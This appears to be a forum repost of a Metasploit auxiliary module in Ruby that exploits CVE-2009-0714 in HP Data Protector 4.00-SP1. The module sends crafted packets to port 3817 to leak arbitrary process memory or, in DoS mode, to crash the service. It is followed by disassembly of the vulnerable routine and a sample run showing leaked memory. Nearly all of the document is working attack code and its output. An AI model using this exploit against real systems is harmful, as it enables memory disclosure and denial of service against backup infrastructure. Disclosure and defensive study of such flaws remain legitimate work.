HP Data Protector 4.00-SP1b43064 Remote Memory Leak/Dos Expl - Форум

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

     include Msf::Exploit::Remote::Tcp

     def initialize(info = {})
         super(update_info(info,
             'Name'           => 'HP Data Protector 4.00-SP1 Build 43064 Memory leak and DoS',
             'Description'    => %q{
                     HP Data Protector is prone to a memory leak vulnerability. The same
                     vector of exploitation can be used for denial of service attack if
                     an invalid memory address is accessed.
             },
             'Author'         => [ 'Nibin' ],
             'License'        => MSF_LICENSE,
             'Version'        => '$Revision: ???? $',
             'References'     =>
                 [
                     [ 'URL', 'http://ivizsecurity.com/security-advisory-iviz-sr-09002.html' ],
                     [ 'CVE', 'CVE-2009-0714' ],
                 ],
             'DisclosureDate' => 'May 13 2009'))

             register_options(  
                 [
                     Opt::RPORT(3817),
                     OptString.new('MEMORY', [ false, 'The starting address of memory', '0x7ffdf000']),
                     OptString.new('SIZE', [false,'The size of memory to leak (in Bytes)',80]),
                     OptString.new('DoS', [false,'Enable or Disable DoS mode',false]),
                 ], self.class)
     end

     def run

         data =  "\x54\x84\x00\x00"
         data += "\x00\x00\x00\x00"
         data += "\x06\x00\x00\x00"
         data += "\x92\x00\x00\x00"
         data += "x41" * 130

         mem_size = datastore['SIZE'].to_i
         mem_addr = datastore['MEMORY'].hex

         if (mem_addr == 0)
             puts("[!] Starting memory address is zero. Setting it to PEB address (Default)")
             mem_addr = "0x7ffdf000".hex             
         end
          
         if (mem_size < 0)
             puts("[!] Memory size is negative. Setting it to default")
             mem_size = 80
         end
          
         if (!datastore['DoS'])
             offset = 0
             print_status("Starting Memory Address: 0x#{mem_addr.to_s(16)} ")

             while (offset < mem_size)
                 connect     
              
                 t = ( ( ( ( mem_addr + offset ) - 0x1022A4F0 ) / 4 ) - 4 )
                 pkt = data[0,32] +  ([t].pack('V')) + data[36,110]  
                 sock.put(pkt)
              
                 sleep(1)
                 res = sock.get_once
              
                 leak = res[32,4].unpack('V')
                 puts "[*] Leaking Memory: 0x#{(mem_addr + offset).to_s(16)} ->  0x%x" % [leak.to_s]
                 offset +=4
                 disconnect
             end
         else
             print_status("Sending evil packet")
             pkt = data
             connect
             sock.put(pkt)
             disconnect
         end

     end
end

=begin

Buggy code @dpwinsup module of dpwingad process running at 3817/TCP port dpwinsup.10275F80

100DDE89   8B15 54A72210    MOV EDX,DWORD PTR DS:[1022A754]
100DDE8F   8B82 98650000    MOV EAX,DWORD PTR DS:[EDX+6598]
100DDE95   8B4C24 54        MOV ECX,DWORD PTR SS:[ESP+54]       ;ECX = user controlled data
100DDE99   8D1481           LEA EDX,DWORD PTR DS:[ECX+EAX*4]    ;EDX = if invalid/valid offset
100DDE9C   8B3495 F0A42210  MOV ESI,DWORD PTR DS:[EDX*4+1022A4F0] ;Crash/Memory Leak
100DDEA3   83C4 1C          ADD ESP,1C
100DDEA6   897424 10        MOV DWORD PTR SS:[ESP+10],ESI

n@n-laptop:/mnt/projects/metasploit$ ./msfcli auxiliary/admin/dataprotector/hp_dataprotector RHOST=172.16.145.129 MEMORY=0x7ffdf000 E
[*]Please wait while we load the module tree...
[*] Starting Memory Address: 0x7ffdf000  
[*] Leaking Memory: 0x7ffdf000 ->  0x12fbc4
[*] Leaking Memory: 0x7ffdf004 ->  0x130000
[*] Leaking Memory: 0x7ffdf008 ->  0x12d000
[*] Leaking Memory: 0x7ffdf00c ->  0x0
[*] Leaking Memory: 0x7ffdf010 ->  0x1e00
[*] Leaking Memory: 0x7ffdf014 ->  0x0
[*] Leaking Memory: 0x7ffdf018 ->  0x7ffdf000
[*] Leaking Memory: 0x7ffdf01c ->  0x0
[*] Leaking Memory: 0x7ffdf020 ->  0x674
[*] Leaking Memory: 0x7ffdf024 ->  0xa8
[*] Leaking Memory: 0x7ffdf028 ->  0x0
[*] Leaking Memory: 0x7ffdf02c ->  0x0
[*] Leaking Memory: 0x7ffdf030 ->  0x7ffd5000
[*] Leaking Memory: 0x7ffdf034 ->  0x0
[*] Leaking Memory: 0x7ffdf038 ->  0x0
[*] Leaking Memory: 0x7ffdf03c ->  0x0
[*] Leaking Memory: 0x7ffdf040 ->  0xe20abeb0
[*] Leaking Memory: 0x7ffdf044 ->  0x0
[*] Leaking Memory: 0x7ffdf048 ->  0x0
[*] Leaking Memory: 0x7ffdf04c ->  0x0

=end